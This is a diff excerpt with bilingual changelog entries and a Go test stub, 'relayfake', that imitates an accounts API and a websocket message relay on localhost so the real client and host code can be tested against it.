- 修复:同一仓库里多个项目声明同名 MCP 服务器(内容不同)时,各自启用互不覆盖,重启后都保持已启用。关联 #13527。
|
||||
- Fixed: projects of one repository that declare an MCP server by the same name with different contents keep their enables side by side across a restart. Refs #13527.
|
||||
@@ -0,0 +1,2 @@
|
||||
- 新增:能读图的模型多了 view_image 工具,可直接看工作区里的 PNG/JPEG/GIF/WebP 文件;不读图的模型不受影响。关联 #13540。
|
||||
- Added: a model that reads images gets a view_image tool that shows it a PNG, JPEG, GIF or WebP file in the workspace; text-only models are unchanged. Refs #13540.
|
||||
@@ -0,0 +1,2 @@
|
||||
- 修复:原目录和隔离目录的会话归入同一项目,并标出实际目录;原目录失效时使用仍存在的目录,手动选择隔离目录仍打开该目录。关联 #13586。
|
||||
- Fixed: source and worktree chats share one project with checkout labels. A surviving checkout replaces a missing source; picking a worktree still opens it. Refs #13586.
|
||||
@@ -0,0 +1,300 @@
|
||||
// Command relayfake stands in for the two services between a hosted page and a
|
||||
// Studio: the accounts API that registers the Studio and mints a controller's
|
||||
// grant, and the message relay that carries ciphertext between them. It
|
||||
// understands routing and nothing else, so everything above it — the page's
|
||||
// handshake, the encrypted channel, the Studio's host — is the real code.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type device struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Platform string `json:"platform"`
|
||||
PublicKey string `json:"publicKey"`
|
||||
Capabilities []string `json:"capabilities"`
|
||||
RevokedAt *string `json:"revokedAt"`
|
||||
}
|
||||
|
||||
type controller struct {
|
||||
id string
|
||||
conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (c *controller) write(kind int, payload []byte) error {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.conn.WriteMessage(kind, payload)
|
||||
}
|
||||
|
||||
type fake struct {
|
||||
mu sync.Mutex
|
||||
device *device
|
||||
credential string
|
||||
tickets map[string]bool
|
||||
hostConn *websocket.Conn
|
||||
hostWrite sync.Mutex
|
||||
controllers map[string]*controller
|
||||
upgrader websocket.Upgrader
|
||||
}
|
||||
|
||||
func main() {
|
||||
f := &fake{
|
||||
tickets: map[string]bool{},
|
||||
controllers: map[string]*controller{},
|
||||
upgrader: websocket.Upgrader{Subprotocols: []string{"reasonix.remote.v1"}, CheckOrigin: func(*http.Request) bool { return true }},
|
||||
}
|
||||
listener, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("GET /me", f.me)
|
||||
mux.HandleFunc("GET /me/devices", f.listDevices)
|
||||
mux.HandleFunc("POST /me/devices", f.registerDevice)
|
||||
mux.HandleFunc("OPTIONS /me/remote-grants", f.cors(func(http.ResponseWriter, *http.Request) {}))
|
||||
mux.HandleFunc("POST /me/remote-grants", f.cors(f.grant))
|
||||
mux.HandleFunc("GET /v1/devices/{id}/connect", f.deviceConnect)
|
||||
mux.HandleFunc("GET /v1/sessions/connect", f.controllerConnect)
|
||||
mux.HandleFunc("POST /ctl/drop-controllers", f.dropControllers)
|
||||
mux.HandleFunc("POST /ctl/drop-device", f.dropDevice)
|
||||
mux.HandleFunc("GET /ctl/state", f.state)
|
||||
addr := listener.Addr().String()
|
||||
out, _ := json.Marshal(map[string]string{"accounts": "http://" + addr, "relay": "ws://" + addr})
|
||||
fmt.Println(string(out))
|
||||
if err := http.Serve(listener, mux); err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func token() string {
|
||||
raw := make([]byte, 16)
|
||||
_, _ = rand.Read(raw)
|
||||
return hex.EncodeToString(raw)
|
||||
}
|
||||
|
||||
func reply(w http.ResponseWriter, status int, body any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
_ = json.NewEncoder(w).Encode(body)
|
||||
}
|
||||
|
||||
func (f *fake) cors(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
|
||||
w.Header().Set("Access-Control-Allow-Credentials", "true")
|
||||
w.Header().Set("Access-Control-Allow-Headers", "content-type")
|
||||
w.Header().Set("Vary", "Origin")
|
||||
if r.Method == http.MethodOptions {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
func (f *fake) me(w http.ResponseWriter, _ *http.Request) {
|
||||
reply(w, http.StatusOK, map[string]any{"user": map[string]any{"id": 1, "handle": "fixture", "email": "[email protected]", "emailVerified": true}})
|
||||
}
|
||||
|
||||
func (f *fake) listDevices(w http.ResponseWriter, _ *http.Request) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
devices := []*device{}
|
||||
if f.device != nil {
|
||||
devices = append(devices, f.device)
|
||||
}
|
||||
reply(w, http.StatusOK, map[string]any{"devices": devices})
|
||||
}
|
||||
|
||||
func (f *fake) registerDevice(w http.ResponseWriter, r *http.Request) {
|
||||
var in device
|
||||
if json.NewDecoder(r.Body).Decode(&in) != nil || in.PublicKey == "" {
|
||||
reply(w, http.StatusBadRequest, map[string]any{"error": map[string]string{"code": "bad_request"}})
|
||||
return
|
||||
}
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
in.ID = token() + token()
|
||||
f.device, f.credential = &in, token()
|
||||
reply(w, http.StatusOK, map[string]any{"device": f.device, "deviceCredential": f.credential})
|
||||
}
|
||||
|
||||
func (f *fake) grant(w http.ResponseWriter, r *http.Request) {
|
||||
var in struct {
|
||||
TargetDeviceID string `json:"targetDeviceId"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&in)
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
if f.device == nil || f.device.ID != in.TargetDeviceID {
|
||||
reply(w, http.StatusNotFound, map[string]any{"error": map[string]string{"code": "device_not_found"}})
|
||||
return
|
||||
}
|
||||
ticket := token()
|
||||
f.tickets[ticket] = true
|
||||
reply(w, http.StatusOK, map[string]any{"grant": map[string]string{"ticket": ticket}, "device": f.device})
|
||||
}
|
||||
|
||||
func (f *fake) deviceConnect(w http.ResponseWriter, r *http.Request) {
|
||||
f.mu.Lock()
|
||||
known := f.device != nil && f.device.ID == r.PathValue("id") && r.Header.Get("Authorization") == "Bearer "+f.credential
|
||||
f.mu.Unlock()
|
||||
if !known {
|
||||
http.Error(w, "unknown device", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
conn, err := f.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
f.mu.Lock()
|
||||
f.hostConn = conn
|
||||
f.mu.Unlock()
|
||||
f.hello()
|
||||
defer func() {
|
||||
f.mu.Lock()
|
||||
if f.hostConn == conn {
|
||||
f.hostConn = nil
|
||||
}
|
||||
f.mu.Unlock()
|
||||
conn.Close()
|
||||
}()
|
||||
for {
|
||||
_, payload, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var directed struct {
|
||||
To string `json:"to"`
|
||||
Payload string `json:"payload"`
|
||||
}
|
||||
if json.Unmarshal(payload, &directed) != nil || directed.Payload == "" {
|
||||
continue
|
||||
}
|
||||
f.mu.Lock()
|
||||
target := f.controllers[directed.To]
|
||||
f.mu.Unlock()
|
||||
if target != nil {
|
||||
_ = target.write(websocket.TextMessage, []byte(directed.Payload))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (f *fake) toHost(message map[string]any) {
|
||||
wire, _ := json.Marshal(message)
|
||||
f.mu.Lock()
|
||||
conn := f.hostConn
|
||||
f.mu.Unlock()
|
||||
if conn == nil {
|
||||
return
|
||||
}
|
||||
f.hostWrite.Lock()
|
||||
defer f.hostWrite.Unlock()
|
||||
_ = conn.WriteMessage(websocket.TextMessage, wire)
|
||||
}
|
||||
|
||||
func (f *fake) hello() {
|
||||
f.mu.Lock()
|
||||
ids := make([]string, 0, len(f.controllers))
|
||||
for id := range f.controllers {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
f.mu.Unlock()
|
||||
f.toHost(map[string]any{"type": "relay_hello", "controllers": ids, "heartbeatMs": 20000})
|
||||
}
|
||||
|
||||
func (f *fake) controllerConnect(w http.ResponseWriter, r *http.Request) {
|
||||
ticket := ""
|
||||
for _, offered := range websocket.Subprotocols(r) {
|
||||
if rest, ok := strings.CutPrefix(offered, "reasonix.auth."); ok {
|
||||
ticket = rest
|
||||
}
|
||||
}
|
||||
f.mu.Lock()
|
||||
granted, online := f.tickets[ticket] || r.URL.Query().Get("fixture") == "1", f.hostConn != nil
|
||||
f.mu.Unlock()
|
||||
if !granted || !online {
|
||||
http.Error(w, "no grant or device offline", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
conn, err := f.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
c := &controller{id: token(), conn: conn}
|
||||
f.mu.Lock()
|
||||
f.controllers[c.id] = c
|
||||
f.mu.Unlock()
|
||||
f.toHost(map[string]any{"type": "controller_connected", "connectionId": c.id})
|
||||
f.hello()
|
||||
defer func() {
|
||||
f.mu.Lock()
|
||||
delete(f.controllers, c.id)
|
||||
f.mu.Unlock()
|
||||
conn.Close()
|
||||
f.toHost(map[string]any{"type": "controller_disconnected", "connectionId": c.id})
|
||||
f.hello()
|
||||
}()
|
||||
for {
|
||||
kind, payload, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if kind != websocket.TextMessage {
|
||||
continue
|
||||
}
|
||||
f.toHost(map[string]any{
|
||||
"type": "controller_message", "connectionId": c.id,
|
||||
"scopes": []string{"desktop"}, "payload": string(payload),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (f *fake) dropControllers(w http.ResponseWriter, _ *http.Request) {
|
||||
f.mu.Lock()
|
||||
all := make([]*controller, 0, len(f.controllers))
|
||||
for _, c := range f.controllers {
|
||||
all = append(all, c)
|
||||
}
|
||||
f.mu.Unlock()
|
||||
for _, c := range all {
|
||||
_ = c.conn.Close()
|
||||
}
|
||||
reply(w, http.StatusOK, map[string]int{"dropped": len(all)})
|
||||
}
|
||||
|
||||
func (f *fake) dropDevice(w http.ResponseWriter, _ *http.Request) {
|
||||
f.mu.Lock()
|
||||
conn := f.hostConn
|
||||
f.mu.Unlock()
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
reply(w, http.StatusOK, map[string]bool{"dropped": conn != nil})
|
||||
}
|
||||
|
||||
func (f *fake) state(w http.ResponseWriter, _ *http.Request) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
id := ""
|
||||
if f.device != nil {
|
||||
id = f.device.ID
|
||||
}
|
||||
reply(w, http.StatusOK, map[string]any{"deviceId": id, "deviceOnline": f.hostConn != nil, "controllers": len(f.controllers)})
|
||||
}
|
||||
Reference in new issue
Block a user